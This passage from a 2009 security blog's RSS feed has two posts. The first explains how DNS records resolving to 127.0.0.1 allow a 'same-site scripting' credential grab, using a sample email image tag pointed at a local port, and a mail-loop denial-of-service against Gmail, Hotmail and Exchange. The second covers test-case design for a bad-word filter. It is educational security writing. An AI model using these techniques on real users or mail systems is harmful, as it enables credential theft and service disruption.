<p>It is trivial that hackers can take advantage of these mis-configured DNS records on multi-user system. Consider there are two users log0 and .hac in a *nux system, .hac can write a piece of program bind on a port (eg. 1024) of the system. Afterward, .hac sends an email to log0, pretends showing some interesting stuffs from fbi.gov, for example, an image with unknown symbols (ie. an &#60;img&#62; tag in the mail, &#60;img src=&#8221;http://localhost.fbi.gov:1024/symbols.jpeg&#8221; /&#62;). Imagine what will happen when log0 is going to read the message? Yes! The browser will resolve localhost.fbi.gov which is pointing to 127.0.0.1, and connect to 127.0.0.1:1024 to grab the image. Wow, your program should be able to grab credentials of log0 by looking at the HTTP request. This is called same-site scripting attack, already mentioned in the article.</p>
<h4>Possible (D)DoS attack</h4>
<p>Same-site scripting attack is against a client, there is another possible one against the server. Consider a mail system (eg. gmail.com), it accepts message submitted by their users to anyone in the wild. However, the system never know whom it should connect to and get the message delivered until it resolve the address of the domain. What will happen if we submit a message with recipient none@localhost.gov.za (localhost.gov.za is pointing to 127.0.0.1)? The mail flow is like the following:</p>
<ol>
<li>Message submitted: MAIL FROM: evil@gmail.com, RCPT TO: non@localhost.gov.za</li>
<li>Gmail receive and resolve address of localhost.gov.za (localhost.gov.za. IN A 127.0.0.1 as response)</li>
<li>Depends on the implementation, it may go back to<br />
Step 1, which mean the message is resubmitted to the same server;<br />
Step 2, the server rejects the message, marks it as failed to submit and going to retry;<br />
Otherwise, detected loopback address and drop the message due to security concern.</li>
</ol>
<p>The security concern is actually DoS attack, if the system allows to go back to step 1 or 2, the message actually gets stuck in the mail system. Hackers can submit thousands or millions of this message to increase the work load of the mail system, and finally it is DoS. I mentioned that it may be DDoS because the mail system may have mechanism to limit total number of submission per user per hour, hacker needs to have multiple mailboxes to achieve the goal.</p>
<p>I have tested some famous email system, Gmail, Hotmail and Exchange 2010. Here are some brief observation:</p>
<p><strong>Gmail</strong>: Accepts the first submission of message with recipient has loopback address. However, it refuses to accept a message from the same origin, which means resubmitting the message is not allowed. The system marks the message as failed and attempt to retry it within 3 days.</p>
<p><strong>Hotmail</strong>: Similar with Gmail, but it only retry in 2 days.</p>
<p><strong>Exchange 2010</strong>: If it is a loopback address, the server will drop it and give NDR with security concern as a reason.</p>
<p>It is obvious that this kind of misconfiguration in DNS server can cause many attacks to both client and server, I believe that there should be more interesting usage of DNS records pointing to 127.0.0.1. Let me know if you have any interesting scenarios.</p>
<p><em>Remember</em>: localhost<span style="color: #ff0000;"><strong>.</strong></span> IN A 127.0.0.1 (If you are not doing <span style="color: #ff0000;">evil</span> thing. <img src='http://onhacks.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  )</p>
<p><strong>Reference:</strong></p>
<ul>
<li><a href="http://www.securityfocus.com/archive/1/486606/30/0/threaded">common dns misconfiguration can lead to &#8220;same site&#8221; scripting</a></li>
<li><a href="http://www.ietf.org/rfc/rfc2109.txt" target="_blank">RFC2109 &#8211; HTTP State Management Mechanism</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2009/08/08/localhost-in-a-127-0-0-1-whats-the-problem/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to examine a bad word filter?</title>
		<link>http://onhacks.org/lang/en/2009/05/31/how-to-examine-a-bad-word-filter</link>
		<comments>http://onhacks.org/lang/en/2009/05/31/how-to-examine-a-bad-word-filter#comments</comments>
		<pubDate>Sun, 31 May 2009 00:02:16 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[Email]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[Analysis]]></category>
		<category><![CDATA[Black box]]></category>
		<category><![CDATA[Filtering]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=352</guid>
		<description><![CDATA[Testing something is always a good practice before learning how to hack something, the methodologies we use in testing sometimes are applicable in hacking. So, I am planning to write some entries related to testing in the coming few months. See if we can have discover a systematic way to hack. Here is the first [...]]]></description>
			<content:encoded><![CDATA[<p>Testing something is always a good practice before learning how to hack something, the methodologies we use in testing sometimes are applicable in hacking. So, I am planning to write some entries related to testing in the coming few months. See if we can have discover a systematic way to hack. Here is the first challenge, it is very simple.</p>
<p><strong>Problem</strong><br />
Network managers always want to or are forced to control the information flowing around a network. Most of the time, filtering is a good way to do the control. Inside this big category, we always like to use block list to prevent information comes in or goes out, to and from the network.</p>
<p><strong>Scenarios</strong><br />
Flora doesn&#8217;t want her daughter wallow in Japan pop star. Flora knows that her daughter always navigate to some sites with domain name ending as &#8216;.jp&#8217;, she is looking for a tool that can control what kinds of websites their PC can reach.</p>
<p>IT administrator in PC middle school discovered that their mail system started receiving porn advertisement and students are trying to share these links through the mail system, they are planning to have a filter that can block all such mail flows.</p>
<p>Justin loves blogging so much, he is writing them weekly. He loves to collect and read feedbacks from the audiences. However, he hates those spammer pasting unrelated advertisement on his posts. He want to figure out a way to stop them appearing from other audiences.</p>
<p><strong>Solution</strong><br />
The trivial filtering solution to help these people out is bad word filtering. The basic idea is the same as general block list, users can specify the tokens they want to look for when deciding to block the information. In general, there are at least two different definitions to distinguish whether we found the bad word or not. Given an input message M,</p>
<ol>
<li>Split the message M into a sequence of words Ws, we found a bad word bW is in the message only if Ws contains bW.</li>
<li>Take the message M as an input stream, we found a bad word bW when there is a list of consecutive characters equals bW.</li>
</ol>
<p>Both definition has there own advantages and disadvantages, but we will keep this discussion later since the current topic is how to test the filter. Let&#8217;s say we pick the first definition for our filter, then what should we test? (Take some time to think about scenarios before continue reading)</p>
<p><strong>Functional Test</strong><br />
According the input of this filter (input message M), we can design few functional test cases. Basic scenarios are,</p>
<ul>
<li>empty message [Expected: Accept];</li>
<li>only a word (either good or bad word) [Expected: good - Accept, bad - Reject];</li>
<li>two words (good and bad) with different delimiter [Expected: Depends on how the feature define delimiter];</li>
<li>a list of word and contains (0, 1, 2, all) bad words [Expected: all reject];</li>
<li>a bad word is embedded in a word (eg. assume evil is bad word, message conatins residentevil.com) [Expect: By design, this message will be accepted]</li>
</ul>
<p>Beside these functional test cases, we should to have a lengthy message to check boundary cases of the feature. Assume the longest message we accept is N characters, we need to have message with length N, N+1 and N+2. On the other hand, globalization and localization test may be required, depends on who is your target user.</p>
<p><strong>Security Concern</strong><br />
Then we would ask: is there other way to bypass the filter (eg. message using different encoding)? Is it possible to have code injection or script injection attack? Who can use the feature? Where is the bad word list? Who have rights to touch the list? These are security concerns when testing the feature. Drawing a data flow diagram always help to identify what kind of security issues we may have. However, this post only focus on functional testing a feature. May be next time we can discuss how to design security test cases of a feature.</p>
<p><strong>Conclusion</strong><br />
We have only discussed some elementary skills to design the test plan of a feature. You can consider what kind of input the feature can have, both valid and invalid input. Output is another way to discover new scenarios, output is anything that the feature shown. Since we assumed that this filter only say accept or reject of a message and throw some exceptions (eg. input size exceed), the test cases we found here are almost dominated by what we found with the input. Now, you are able to test your program more systematically!</p>
<p>Have a good weekend!</p>
<p><strong>Practice (Just for fun)</strong><br />
Should you want to have some practice, we can discuss how to test an IP block list filter. Here is a simple definition:</p>
<p><strong>INPUT</strong>: Only allow IPv4 address, one at a time<br />
<strong>IMPLEMENTATION</strong>: An IP block list is stored as a text file in the same folder of the filter, user need to directly modify the text file if he want to Add/Remove/Edit an IP address in the block list. The filter will perform a binary search to see if the input address is on the list. If it is, then it will announce reject, otherwise output accept.<br />
<strong>OUTPUT</strong>: Accept/ Reject the address</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2009/05/31/how-to-examine-a-bad-word-filter/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
